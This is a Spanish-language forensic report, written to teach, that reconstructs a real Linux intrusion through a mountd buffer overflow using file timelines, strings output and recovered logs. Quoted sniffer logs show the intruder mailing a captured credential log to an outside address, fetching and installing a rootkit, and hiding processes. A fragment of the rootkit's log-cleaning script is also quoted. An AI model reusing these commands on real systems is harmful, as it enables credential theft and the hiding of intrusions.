Ejemplo de informe de pruebas encontradas


11. Ejemplo de Informe de Pruebas Encontradas

Ahora vamos a examinar un informe completo de actividad del/los intrusos en el sistema. El informe fue obtenido tras analizar los ficheros log de los sniffers, intentos de acceso, timestamps en el sistema de ficheros y el contenido de las particiones de varios sistemas involucrados en el incidente. Es un informe real, sólo que está omitida la información que identifica el sistema atacado.

A continuación es un informe de análisis de la partición root del sistema XXX.XXX.XXX.XXX, la información aparece tal como fue encontrada después de poner el disco off-line, una vez descubierto el compromiso, por sospecha de tener ejecutándose un sniffer. Una copia de sistema de ficheros está disponible en formato tar.gz en el cdrom ISO 9660 CD-R.

La máquina XXX.XXX.XXX.XXX fue una de las 19 sospechosas de estar comprometida por el mismo grupo de intrusos alrededor de XX-XX-XXXX, utilizando Linux mountd buffer overflow bug documentado en el CERT Advisory CA-98.12: http://www.cert.org/advisories/CA-98.12.mountd.html.

El disco duro fue analizado utilizando herramientas creadas por Dan Farmer y Wietse Venema llamadas "Coroner's Toolkit" (http://www.fish.com/security/forensics.html). En el sistema de análisis el disco aparece como dispositivo /dev/hdc. La primera partición, /dev/hdc1 fue montada en modo solo lectura bajo el punto de montura "/x". Como resultado de ello todas las rutas serán precedidas por esa cadena. La geometría del disco duro es la siguiente:

-----------------------------------------------------------------------------
   Disk /dev/hdc: 32 heads, 63 sectors, 825 cylinders
   Units = cylinders of 2016 * 512 bytes
 Device Boot Start End Blocks Id System
   /dev/hdc1 1 793 799312+ 83 Linux
   /dev/hdc2 794 825 32256 82 Linux swap
   -----------------------------------------------------------------------------

Como la mayoría de los accesos al servidor empezaron el día XX del XXX, la fecha previa del análisis forense fue tomada como 01 XXX. No se observan huellas obvias de modificación/instalación de ficheros que indica que el sistema fue accedido entre XXX 01 y XXX 04. El día XXX 04, ha sido modificado el demonio "r" de Berkeley ("in.rlogind").

   -----------------------------------------------------------------------------
   XXX 04 XX 23:42:21 23421 m.. -rwxr-xr-x root root /x/usr/sbin/in.rlogind
   -----------------------------------------------------------------------------

El examen del contenido del fichero a través de la utilidad strings, muestra que es un caballo de Troya que contiene los mismos strings que han sido encontrados en los ficheros del grupo "XXXXXXX"

   -----------------------------------------------------------------------------
   . . .
   rlogind
   ahLln
   XXXXXXXX
   Can't get peer name of remote host: %m
   Can't get peer name of remote host
   setsockopt (SO_KEEPALIVE): %m
   setsockopt (IP_TOS): %m
   hname != NULL
   rlogind.c
   . . .
   -----------------------------------------------------------------------------

Pasados ocho días, se observa una modificación en el demonio y ejecución de chown.

   -----------------------------------------------------------------------------
   XXX 12 XX 11:04:10 23421 ..c -rwxr-xr-x root root /x/usr/sbin/in.rlogind
   XXX 12 XX 11:04:11 8156 .a. -rwxr-xr-x root bin /x/bin/chown
   -----------------------------------------------------------------------------

Pasada media hora el fichero fuente "linsniff.c" se copia en un directorio oculto bajo /etc. El directorio se llama "/etc/.. " (punto-punto-espacio-espacio-espacio, lo que nosotros convertiremos en "/etc/..___" para ver más claramente el directorio en los listados. El programa luego se compila. Vemos que los ficheros de cabeceras que tienen que ver con las funciones de red han sido accedidos, y el binario se mueve al "/usr/sbin/telnetd".

Después de cuatro minutos se produce un acceso a través del protocolo FTP (observando el acceso al wu.ftpd y su fichero id de proceso).

   -----------------------------------------------------------------------------
   XXX 12 XX 11:36:59 5127 m.c -rw-r--r-- root root /x/etc/..___/linsniff.c
   XXX 12 XX 11:37:08 4967 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/if.h
   3143 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/if_arp.h
   3145 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/if_ether.h
   1910 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/ip.h
   2234 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/route.h
   1381 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/tcp.h
   XXX 12 XX 11:37:10 2048 ..c drwxr-xr-x root bin /x/usr/sbin
   XXX 12 XX 11:37:14 2048 m.. drwxr-xr-x root bin /x/usr/sbin
   XXX 12 XX 11:37:15 8179 m.c -rwxr-xr-x root root /x/usr/sbin/telnetd
   XXX 12 XX 11:37:48 8179 .a. -rwxr-xr-x root root /x/usr/sbin/telnetd
   XXX 12 XX 11:41:52 77476 .a. -rwxr-xr-x root bin /x/usr/sbin/wu.ftpd
   XXX 12 XX 11:42:08 4096 mac -rw-r--r-- root root /x/var/pid/ftp.pids-remote
   -----------------------------------------------------------------------------

Esa actividad se confirma recuperando el fichero eliminado de log desde la partición root:

   -----------------------------------------------------------------------------
   XXX 12 11:33:05 XXXX in.telnetd[1290]: connect from AAAAAA.XXXXXX.XXX
   XXX 12 11:33:16 XXXX login: 1 LOGIN FAILURE FROM AAAAAA.XXXXXX.XXX, XXX
   XXX 12 11:33:21 XXXX login: 2 LOGIN FAILURES FROM AAAAAA.XXXXXX.XXX, XXX
   . . .
   XXX 12 11:34:02 XXXX su: XXXXX on /dev/ttyp1
   XXX 12 11:41:52 XXXX wu.ftpd[1327]: connect from BBBBBBB.XXXXXX.XXX
   XXX 12 11:41:57 XXXX ftpd[1327]: USER XXXXX
   XXX 12 11:41:59 XXXX ftpd[1327]: PASS password
   XXX 12 11:42:00 XXXX ftpd[1327]: SYST
   XXX 12 11:42:01 XXXX ftpd[1327]: CWD /tmp
   XXX 12 11:42:06 XXXX ftpd[1327]: TYPE Image
   XXX 12 11:42:06 XXXX ftpd[1327]: PORT
   XXX 12 11:42:06 XXXX ftpd[1327]: STOR mountd
   XXX 12 11:42:08 XXXX ftpd[1327]: QUIT
   XXX 12 11:42:08 XXXX ftpd[1327]: FTP session closed
   XXX 12 12:00:25 XXXX in.telnetd[1342]: connect from AAAAAA.XXXXXX.XXX
   XXX 12 12:00:25 XXXX telnetd[1342]: ttloop: peer died: Try again
   -----------------------------------------------------------------------------

Desde lo que podemos observar se realiza una descarga de un exploit mountd mencionado anteriormente. También podemos conocer que el intruso tiene una cuenta en el sistema AAAAAA.XXXXXX.XXX [XXX.XXX.XXX.XX] que normalmente utiliza entre 14:33:05 y 15:00:25 EST.

Los strings del fichero "/usr/sbin/telnetd" muestran que es un sniffer. El fichero log del sniffer es "tcp.log" (por defecto):

   -----------------------------------------------------------------------------
   . . .
   cant get SOCK_PACKET socket
   cant get flags
   cant set promiscuous mode
   ----- [CAPLEN Exceeded]
   ----- [Timed Out]
   ----- [RST]
   ----- [FIN]
   %s => %s [%d]
   eth0
   tcp.log
   cant open log
   Exiting...
   . . .
   -----------------------------------------------------------------------------

El día 13 de XXXX, otro programa que incorpora funciones de red se compila, que hace uso de muchos más recursos que el sniffer (ya que carga más librerías). El hecho que el binario no aparece con fecha de modificación o cambio, puede indicar que el binario fue ejecutado y eliminado por el intruso (otros intrusos o el administrador) para ocultar su presencia del equipo de administración del servidor.

   -----------------------------------------------------------------------------
   XXX 13 XX 10:01:46 55492 .a. -rwxr-xr-x root root /x/usr/bin/gcc
   6211 .a. -rw-r--r-- root root /x/usr/include/stdio.h
   92696 .a. -rwxr-xr-x root root /x/usr/lib/gcc-lib/i486-linux/2.7.0/cpp
   1003 .a. -rwxr-xr-x root root /x/usr/lib/gcc-lib/i486-linux/2.7.0/specs
   XXX 13 XX 10:01:47 2767 .a. -rw-r--r-- root root /x/usr/include/_G_config.h
   1441 .a. -rw-r--r-- root root /x/usr/include/alloca.h
   2040 .a. -rw-r--r-- root root /x/usr/include/confname.h
   1267 .a. -rw-r--r-- root root /x/usr/include/errno.h
   4186 .a. -rw-r--r-- root root /x/usr/include/features.h
   4434 .a. -rw-r--r-- root root /x/usr/include/gnu/types.h
   7917 .a. -rw-r--r-- root root /x/usr/include/libio.h
   380 .a. -rw-r--r-- root root /x/usr/include/posix_opt.h
   4419 .a. -rw-r--r-- root root /x/usr/include/signal.h
   15134 .a. -rw-r--r-- root root /x/usr/include/stdlib.h
   7537 .a. -rw-r--r-- root root /x/usr/include/string.h
   3909 .a. -rw-r--r-- root root /x/usr/include/sys/cdefs.h
   4538 .a. -rw-r--r-- root root /x/usr/include/sys/socket.h
   321 .a. -rw-r--r-- root root /x/usr/include/sys/types.h
   25129 .a. -rw-r--r-- root root /x/usr/include/unistd.h
   8841 .a. -r--r--r-- root root /x/usr/lib/gcc-lib/i486-linux/2.7.0/include/stddef.h
   1029 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/asm-i386/types.h
   6298 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/errno.h
   2065 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/signal.h
   2794 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/socket.h
   3846 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/sockios.h
   2621 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/types.h
   XXX 13 XX 10:01:48 3668 .a. -rw-r--r-- root root /x/usr/include/arpa/inet.h
   734 .a. -rw-r--r-- root root /x/usr/include/bytesex.h
   1555 .a. -rw-r--r-- root root /x/usr/include/endian.h
   3248 .a. -rw-r--r-- root root /x/usr/include/limits.h
   6390 .a. -rw-r--r-- root root /x/usr/include/netdb.h
   2663 .a. -rw-r--r-- root root /x/usr/include/netinet/in.h
   3562 .a. -rw-r--r-- root root /x/usr/include/paths.h
   2643 .a. -rw-r--r-- root root /x/usr/include/posix1_lim.h
   2680 .a. -rw-r--r-- root root /x/usr/include/posix2_lim.h
   3777 .a. -rw-r--r-- root root /x/usr/include/sys/bitypes.h
   709 .a. -rw-r--r-- root root /x/usr/include/sys/param.h
   2315 .a. -rw-r--r-- root root /x/usr/include/sys/time.h
   5273 .a. -rw-r--r-- root root /x/usr/include/sys/wait.h
   2852 .a. -rw-r--r-- root root /x/usr/include/time.h
   1156 .a. -rw-r--r-- root root /x/usr/include/waitflags.h
   3724 .a. -rw-r--r-- root root /x/usr/include/waitstatus.h
   1418196 .a. -rwxr-xr-x root root /x/usr/lib/gcc-lib/i486-linux/2.7.0/cc1
   3049 .a. -rw-r--r-- root root /x/usr/lib/gcc-lib/i486-linux/2.7.0/include/limits.h
   330 .a. -r--r--r-- root root /x/usr/lib/gcc-lib/i486-linux/2.7.0/include/syslimits.h
   2101 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/asm-i386/byteorder.h
   266 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/asm-i386/param.h
   3965 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/in.h
   720 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/limits.h
   78 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/param.h
   1146 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/time.h
   313 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/version.h
   698 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/wait.h
   XXX 13 XX 10:01:57 117668 .a. -rwxr-xr-x root bin /x/usr/bin/as
   XXX 13 XX 10:01:58 145695 .a. -rwxr-xr-x root bin /x/usr/bin/ld
   XXX 13 XX 10:01:59 1088 .a. -rw-r--r-- root root /x/usr/lib/crt1.o
   1216 .a. -rw-r--r-- root root /x/usr/lib/crtbegin.o
   1212 .a. -rw-r--r-- root root /x/usr/lib/crtend.o
   624 .a. -rw-r--r-- root root /x/usr/lib/crti.o
   396 .a. -rw-r--r-- root root /x/usr/lib/crtn.o
   204146 .a. -rw-r--r-- root root /x/usr/lib/gcc-lib/i486-linux/2.7.0/libgcc.a
   -----------------------------------------------------------------------------

El día 14 se ejecuta un cliente de ftp "ncftp":

   -----------------------------------------------------------------------------
   XXX 14 XX 00:42:50 146881 .a. -rwxr-xr-x root bin /x/usr/bin/ncftp
   -----------------------------------------------------------------------------

Los índices de acceso del sistema XXXXXXX.XXXXXXX.XXX (aka "XXX.XXX") muestran un login al sistema XXXXXXX.XXXXXXX.XXX (aka "XXX.XXX") a las XX:XXX del horario EST o +0300 horas más de PST), lo que describe las conexiones de las máquinas CCCCCCCC.XXXXXXXX.XXX, XXXXXXXXXXXXX.washington.edu, and XXXXXXXXXXXX.washington.edu:

   -----------------------------------------------------------------------------
   XXX ftp XXXXXXXX.XXXXXXX Sat XXX 14 03:46 - 04:08 (00:21)
   XXX ftp XXXXXXX.washingt Sat XXX 14 03:46 - 03:46 (00:00)
   XXX ftp XXXXXXXX.XXXXXXX Sat XXX 14 03:38 - 03:40 (00:02)
   XXX ftp XXXXXXXXXXXXX.wa Sat XXX 14 03:37 - 03:39 (00:02)
   XXX ftp XXXXXXXXXXXX.was Sat XXX 14 03:19 - 03:20 (00:00)
   -----------------------------------------------------------------------------

Hay solo una ocurrencia de utilización del comando "ncftp" registrada por el sniffer el día XX del SSS (línea 347 en "tcp.log"). También podemos encontrar huellas de otra conexión del XXXXX.XXXX.XXX:

   -----------------------------------------------------------------------------
   XXXXXXXXXXXXX.washington.edu => XXXXXXX.washington.edu [23]
   !"'%W#$ 38400,38400vt100bdoor
   password
   w
   su r00t
   cd /etvc
   cd ".. "
   ls
   cat /etc/".. "/tcp.log | mail hackeraccount@hotmail.com
   cat /etc/".. "/tcp.log | mail hackeraccount@hotmail.com
   ncftp -u ls
   cp tcp.log 1
   ls
   ncftp -y XXX.XXX
   [A[D[D[D[D[D[D[D[Du
   ----- [Timed Out]
   -----------------------------------------------------------------------------

El log de la sesión anterior muestra que el fichero log del sniffer ha sido enviado a una dirección de correo electrónico. Después de cuatro horas, alguien emite un comando "whoami", y luego añade y elimina algunos ficheros dentro del directorio oculto.

   -----------------------------------------------------------------------------
   XXX 14 XX 04:07:42 3797 .a. -rwxr-xr-x root bin /x/usr/bin/whoami
   XXX 14 XX 04:08:18 1024 m.c drwxr-xr-x root root /x/etc/..___
   -----------------------------------------------------------------------------

El día 14 del XXX, se ejecuta el binario in.identd. Este servicio sirve para asociar el nombre de usuario con un intento de conexión a un servicio remoto. Esta aplicación se utiliza por algunas redes de IRC. Puede significar que alguien realizó una conexión a un servidor IRC desde la máquina comprometida.

También tuvieron lugar varias conexiones al servidor POP de correo "in.pop3d", al servicio Berkeley "r", "in.rlogind", y una conexión al servicio NFS "rpc.mountd". Una vez establecida la conexión, se ejecutó el comando "id" (este es un vestigio de un exloit ADM mountd buffer overrun).

El exploit suele crear un shell iniciado a partir del UID del servicio NFS mountd, que suele ser UID=0. El intruso, aprovechando del shell, crea un directorio "/var/tmp/XXXXX" y instala varias puertas traseras, utilidades para limpiar los ficheros log y un sniffer. Modificación de algunos ficheros log indican que a la hora de entrada se ejecutaron las utilidades de eliminación de huellas (zapper) que restablecieron el tamaño del fichero log a 0 bytes.

   -----------------------------------------------------------------------------
   XXX 14 XX 20:25:14 13004 .a. -rwxr-xr-x root bin /x/usr/sbin/in.identd
   XXX 14 XX 22:24:52 15029 .a. -rwxr-xr-x root bin /x/usr/sbin/in.pop3d
   XXX 15 XX 02:22:24 23421 .a. -rwxr-xr-x root root /x/usr/sbin/in.rlogind
   XXX 15 XX 02:23:07 25217 .a. -rwxr-xr-- root bin /x/usr/sbin/rpc.mountd
   XXX 15 XX 02:23:08 7705 .a. -rwxr-xr-x root bin /x/usr/bin/id
   XXX 15 XX 02:24:22 28550 mac -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/fix
   13508 .a. -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/login.bak
   XXX 15 XX 02:24:23 13508 m.c -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/login.bak
   1375 mac -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/readme
   XXX 15 XX 02:24:39 26314 m.c -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/bindshell
   27942 m.c -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/linsniffer
   XXX 15 XX 02:24:41 26314 .a. -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/bindshell
   27942 .a. -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/linsniffer
   XXX 15 XX 02:24:43 1126 m.c -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/clean
   XX mac -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/imapdis
   XXX 15 XX 02:24:59 4665 .a. -rwxr-xr-x root bin /x/usr/bin/basename
   XXX 15 XX 02:25:03 0 mac -rw-r--r-- root root /x/var/log/cron
   XXX 15 XX 02:25:04 0 ma. crw-rw-rw- root root /x/dev/ttyp3
   XXX 15 XX 02:25:06 0 .a. -rw-r--r-- root root /x/var/log/debug
   XXX 15 XX 02:25:08 0 .a. -rw-r--r-- root root /x/var/log/lastlog
   XXX 15 XX 02:25:12 2699 .a. -rw-r--r-- root root /x/var/log/syslog
   XXX 15 XX 02:25:15 131968 .a. -rwxr-xr-x root bin /x/usr/bin/gawk
   5941 .a. -rwxr-xr-x root bin /x/usr/bin/wc
   0 .a. -rw-r--r-- root root /x/var/log/xferlog
   1024 m.c drwxr-xr-x root root /x/var/tmp/XXXXX
   1126 .a. -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/clean
   XXX 15 XX 02:25:54 2802 m.c -rwxr-xr-x root root /x/etc/rc.d/rc.inet2
   XXX 15 XX 02:26:13 12288 m.c -rw-rw-r-- root root /x/etc/psdevtab
   XXX 15 XX 02:26:26 7416 .a. -rwxr-xr-x root bin /x/bin/mkdir
   XXX 15 XX 02:26:33 15 m.c -rw-r--r-- root root /x/dev/XXXXXXXX/LS
   XXX 15 XX 02:26:40 1024 m.c drwxr-xr-x root root /x/dev/XXXXXXXX
   25 m.c -rw-r--r-- root root /x/dev/XXXXXXXX/PS
   XXX 15 XX 02:28:37 0 .a. crw-rw-rw- root root /x/dev/ptyp2
   XXX 15 XX 02:28:38 0 m.c crw-rw-rw- root root /x/dev/ptyp2
   0 mac crw-rw-rw- root root /x/dev/ttyp2
   XXX 15 XX 02:29:58 0 m.c -rw-r--r-- root root /x/var/log/lastlog
   XXX 15 XX 02:30:06 0 m.c -rw-r--r-- root root /x/var/log/xferlog
   XXX 15 XX 02:31:03 66973 .a. -rwxr-xr-x root bin /x/bin/telnet
   XXX 15 XX 02:35:01 1024 m.c drwxr-xr-x root root /x/var/log
   0 mac -rw-r--r-- root root /x/var/log/sulog
   XXX 15 XX 02:35:16 0 m.c -rw-r--r-- root root /x/var/log/debug
   XXX 15 XX 02:35:51 0 ma. crw-rw-rw- root root /x/dev/ptyp3
   XXX 15 XX 02:35:52 0 ..c crw-rw-rw- root root /x/dev/ptyp3
   0 ..c crw-rw-rw- root root /x/dev/ttyp3
   XXX 15 XX 03:21:57 1649 m.. -rw-r--r-- root root /x/etc/passwd.OLD
   XXX 15 XX 03:22:24 7317 .a. -rwxr-xr-x root bin /x/bin/killall
   XXX 15 XX 03:22:40 58605 .a. -rwxr-xr-x root bin /x/bin/ps
   25 .a. -rw-r--r-- root root /x/dev/XXXXXXXX/PS
   -----------------------------------------------------------------------------

La siguiente actividad aparece en la línea 471 en "tcp.log" (el fichero log del sniffer entre 14 XXX 03:46 de la línea 348 y 17 XXX 20:13, desde la fecha de última modificación del fichero):

---------------------------------------------------------------------------
   IIIIIIIIII.XXXXXXX.XXX.XX => XXXXXXX.washington.edu [143]
----- [Timed Out]
IIIIIIIIII.XXXXXXX.XXX.XX => XXXXXXX.washington.edu [513]
   rootXXXXlinux/38400
   ----- [FIN]
IIIIIIIIII.XXXXXXX.XXX.XX => XXXXXXX.washington.edu [513]
   rootXXXX-linux/38400
   ----- [FIN]
IIIIIIIIII.XXXXXXX.XXX.XX => XXXXXXX.washington.edu [513]
   rootr00tlinux/38400t
   ----- [FIN]
IIIIIIIIII.XXXXXXX.XXX.XX => XXXXXXX.washington.edu [23]
   !"'%P#$ 38400,38400linuxXXXXX
XXX
r00t
   finger
   cd /var/tmp
   ls -al
   rm -rf .bash*
   ftp XXXXXX.XXX.XXX
   anonymous
   ass
   get XXXX.tgz
   quituit
   tar zxvf XXXX.tgz
   chmod +x *
   ./INSTALL
   ls -al
----- [Timed Out]
IIIIIIIIII.XXXXXXX.XXX.XX => GGGGGGG.XXXXXXXXXX.XXX [23]
   !"'%P#$ 38400,38400linuxr00t
   pico /etc/rc.d/irc.inetd2
   rpc.mo.mo.mo.mountd
   [A11
   mountd
   [A2
   pmountd
   [A[A[C[C[C[C[C[C[C[C[C[C[C[C[C[C[C[B[C[C# [B[D[D#[B[D#[B[D# y
   pico /etc/inetd.conf
   [6~[6~killall -HUP inetd
   cat /etc/inetd.conf
   ps aux
   kill -9 cd /dev
   mkdir XXXXXXXX
   cd XXXXXXXX
   pico LS
   XXXXXXXX
   XXXXXy
   pico PS
   3 bindshell
   3 linsniffery
   ps aux
   kill -9 2541
   f
   ----- [Timed Out]
   ---------------------------------------------------------------------------  

Eso muestra que el intruso estaba editando el fichero de configuración del rootkit referente al modus operandi de la utilidad "ls" (llamado LS) para esconder ficheros/directorios con cadenas "XXXXXX" y/o "JJJJJJJJ" en sus nombres. También ha modificado el fichero de configuración del rootkit para la utilidad "ps" (llamado PS) para esconder procesos "bindshell" y "linsniffer" en sus nombres.

La letra "y" que aparece en las cadenas "XXXXXXy" y "linsniffery" son huellas del usuario que nos informan que ha sido utilizado el editor "pico". El comando para guardar las modificaciones en los ficheros y salir en pico es Ctrl-X. Si el fichero ha sido modificado de alguna forma el siguiente texto aparece:

Save modified buffer (ANSWERING "No" WILL DESTROY CHANGES) ?

El usuario entonces debe teclear la letra "y" para guardar el fichero y salir. El sniffer no captura el mensaje del sistema pero sí el "y". Las entradas log del sniffer aquí muestran que se creó el directorio XXXXXXXX, dónde fueron insertados los ficheros de configuración del rootkit y editados en siguiente orden. Podemos observarlo en el listado de mactime, posiblemente atando este evento al día 15 del XXX a las 02:26:

   ---------------------------------------------------------------------------
   XXX 15 XX 02:26:26 7416 .a. -rwxr-xr-x root bin /x/bin/mkdir
   XXX 15 XX 02:26:33 15 m.c -rw-r--r-- root root /x/dev/XXXXXXXX/LS
   XXX 15 XX 02:26:40 1024 m.c drwxr-xr-x root root /x/dev/XXXXXXXX
   25 m.c -rw-r--r-- root root /x/dev/XXXXXXXX/PS
   ---------------------------------------------------------------------------

El día 16 del XXX alguien crea una copia de seguridad del log del sniffer ("sniffer.log.save"), moviéndolo al directorio "/var/tmp/XXXX/programs". Este fichero muestra los intentos de entrada de otros intrusos que también acceden al fichero "tcp.log":

   -----------------------------------------------------------------------------
   XXX 16 XX 21:55:34 36088 .a. -rwxr-xr-x root bin /x/bin/netstat
   XXX 16 XX 21:58:27 1024 m.c drwxrwxrwx root root /x/var/tmp
   XXX 16 XX 21:58:52 6 .a. -rw-r--r-- root root /x/root/temp.txt
   XXX 16 XX 22:50:33 1024 .a. drwxr-xr-x root root /x/var/tmp/XXXXX
   XXX 16 XX 22:51:02 6644 .a. -rw-r--r-- root root /x/var/tmp/XXXXX/programs/sniffer.log
   XXX 16 XX 22:57:16 1024 .a. drwxr-xr-x root root /x/var/tmp/XXXXX/programs
   XXX 16 XX 23:39:51 1024 m.c drwxr-xr-x root root /x/var/tmp/XXXXX/programs
   4992 mac -rw-r--r-- root root /x/var/tmp/XXXXX/programs/sniffer.log.save
   -----------------------------------------------------------------------------

El fichero "/root/temp.txt" contiene la única palabra "blah" en la línea y una línea en blanco. Actualmente no se conoce para que sirvió el fichero. El día 17 del XXX se modifica la contraseña de algún usuario, se crea un fichero de copia de seguridad:

   -----------------------------------------------------------------------------
   XXX 17 XX 12:44:50 153384 .a. -rws--x--x root bin /x/usr/bin/passwd
   XXX 17 XX 12:45:05 1649 m.c -rw-r--r-- root root /x/etc/passwd
   1649 ..c -rw-r--r-- root root /x/etc/passwd.OLD
   -----------------------------------------------------------------------------

A continuación, el día 17 del XXX, alguien accede al servidor a través de telnet. Por lo visto se obtiene el UID del usuario lp. Modificaciones en /dev/console indican que ocurrió también una entrada de usuario en la consola física. Fechas de modificación han sido cambiadas en la aplicación de los logs del sniffer "/etc/..__/tcp.log" y también "/var/tmp/XXXXX/programs/sniffer.log", que significa que las aplicaciones han sido desactivadas.

   -----------------------------------------------------------------------------
   XXX 17 XX 20:13:44 296 .a. -rw-r--r-- root root /x/etc/hosts.deny
   40907 .a. -rwxr-xr-x root bin /x/usr/sbin/tcpd
   XXX 17 XX 20:13:45 40685 .a. -rwxr-xr-x root bin /x/usr/sbin/in.telnetd
   25 m.c -rw-rw-r-- root root /x/var/spool/lp1/status
   XXX 17 XX 20:13:46 0 m.. crw-rw-rw- root root /x/dev/console
   0 .a. crw-rw-rw- root root /x/dev/ptyp0
   0 m.. crw-rw-rw- root root /x/dev/ttyp0
   18476 m.c -rw-r--r-- root root /x/etc/..___/tcp.log
   6644 m.c -rw-r--r-- root root /x/var/tmp/XXXXX/programs/sniffer.log
   XXX 17 XX 20:13:50 0 ..c crw-rw-rw- root root /x/dev/console
   0 ..c crw-rw-rw- root root /x/dev/ptyp0
   0 ..c crw-rw-rw- root root /x/dev/ttyp0
   -----------------------------------------------------------------------------

El día 18 de XXX, se ejecuta la aplicación sendmail. Las huellas en el sistema de ficheros nos muestran que, posiblemente se envió a una dirección de correo electrónico el fichero log del sniffer "tcp.log":

   -----------------------------------------------------------------------------
   XXX 18 XX 05:30:26 164060 .a. -r-sr-Sr-x root bin /x/usr/sbin/sendmail
   -----------------------------------------------------------------------------

Aparte de analizar el sistema de ficheros con detenimiento, se han recuperado todos los ficheros eliminados utilizando la utilidad "unrm" de TCT. Una examen de los ficheros recuperados mostró eliminación de algunos ficheros log y scripts. El siguiente es una parte del script de instalación/limpieza que está incluido con el rootkit.

   -----------------------------------------------------------------------------
   cp /var/tmp/imap-d /var/tmp/XXXXX/programs/imapdis
   rm -rf /var/tmp/imap-d
   echo "6. cleaning logs"
   cd /var/tmp/XXXXX
   cp /var/tmp/clean /var/tmp/XXXXX/programs/clean
   rm -rf /var/tmp/clean
   /var/tmp/XXXXX/programs/clean XXXXXXX 1>/dev/null 2>/dev/null
   /var/tmp/XXXXX/programs/clean XXX.XXX 1>/dev/null 2/dev/null
   /var/tmp/XXXXX/programs/clean XXXX 1>/dev/null 2>/dev/null
   echo "rootkit complete"
   echo "rember to disable imapd"
   echo "EOF"
   -----------------------------------------------------------------------------

El siguiente es una parte del fichero log que muestra intentos de conexión de intrusos:

   -----------------------------------------------------------------------------
   XXX 11 15:26:11 XXXX in.fingerd[864]: connect from XXX-XXX-14.XXXXXXXXX.XXX
   XXX 11 15:26:11 XXXX in.telnetd[865]: connect from XXX-XXX-14.XXXXXXXXX.XXX
   XXX 11 15:26:11 XXXX telnetd[865]: ttloop: peer died: Try again
   XXX 11 15:26:12 XXXX in.pop3d[866]: connect from XXX-XXX-14.XXXXXXXXX.XXX
   XXX 11 15:26:13 XXXX in.telnetd[867]: connect from XXX-XXX-14.XXXXXXXXX.XXX
   . . .
   XXX 12 05:36:20 XXXX in.telnetd[1126]: connect from DDDDDD.XXXXXX.XXX
   . . .
   XXX 12 11:01:52 XXXX in.telnetd[1213]: connect from EEEEEEE.XXX.XXX
   XXX 12 11:02:21 XXXX su: XXXXX on /dev/ttyp1
   . . .
   XXX 12 11:04:28 XXXX in.rlogind[1229]: connect from CCCCCCCC.XXXXXXXX.XXX
   XXX 12 11:04:44 XXXX in.rlogind[1230]: connect from CCCCCCCC.XXXXXXXX.XXX
   . . .
   XXX 12 11:08:57 XXXX su: XXXXX on /dev/ttyp1
   XXX 12 11:11:19 XXXX su: XXXXX on /dev/ttyp1
   . . .
   XXX 12 11:33:05 XXXX in.telnetd[1290]: connect from AAAAAA.XXXXXX.XXX
   XXX 12 11:33:16 XXXX login: 1 LOGIN FAILURE FROM AAAAAA.XXXXXX.XXX, XXX
   XXX 12 11:33:21 XXXX login: 2 LOGIN FAILURES FROM AAAAAA.XXXXXX.XXX, XXX
   . . .
   XXX 12 11:34:02 XXXX su: XXXXX on /dev/ttyp1
   XXX 12 11:41:52 XXXX wu.ftpd[1327]: connect from BBBBBBB.XXXXXX.XXX
   XXX 12 11:41:57 XXXX ftpd[1327]: USER XXXXX
   XXX 12 11:41:59 XXXX ftpd[1327]: PASS password
   XXX 12 11:42:00 XXXX ftpd[1327]: SYST
   XXX 12 11:42:01 XXXX ftpd[1327]: CWD /tmp
   XXX 12 11:42:06 XXXX ftpd[1327]: TYPE Image
   XXX 12 11:42:06 XXXX ftpd[1327]: PORT
   XXX 12 11:42:06 XXXX ftpd[1327]: STOR mountd
   XXX 12 11:42:08 XXXX ftpd[1327]: QUIT
   XXX 12 11:42:08 XXXX ftpd[1327]: FTP session closed
   XXX 12 12:00:25 XXXX in.telnetd[1342]: connect from AAAAAA.XXXXXX.XXX
   XXX 12 12:00:25 XXXX telnetd[1342]: ttloop: peer died: Try again
   . . .
   XXX 12 12:54:37 XXXX in.rlogind[1358]: connect from CCCCCCCC.XXXXXXXX.XXX
   . . .
   XXX 12 19:53:30 XXXX in.telnetd[1459]: connect from XXXX-XX-118.XXXXXXXXX.XXX
   . . .
   XXX 12 23:47:32 XXXX in.telnetd[1525]: connect from XXXXXX.XXXX.XXXXXXXXXX.XXX
   XXX 12 23:47:41 XXXX login: 1 LOGIN FAILURE FROM XXXXXX.XXXX.XXXXXXXXXX.XXX,    XXXXX
   XXX 12 23:48:55 XXXX su: XXXXX on /dev/console
   XXX 13 00:12:38 XXXX in.telnetd[1569]: connect from HHHHHH.XXXXXXXXXXXXXXX.XXX
   XXX 13 00:12:54 XXXX su: XXXXX on /dev/console
   . . .
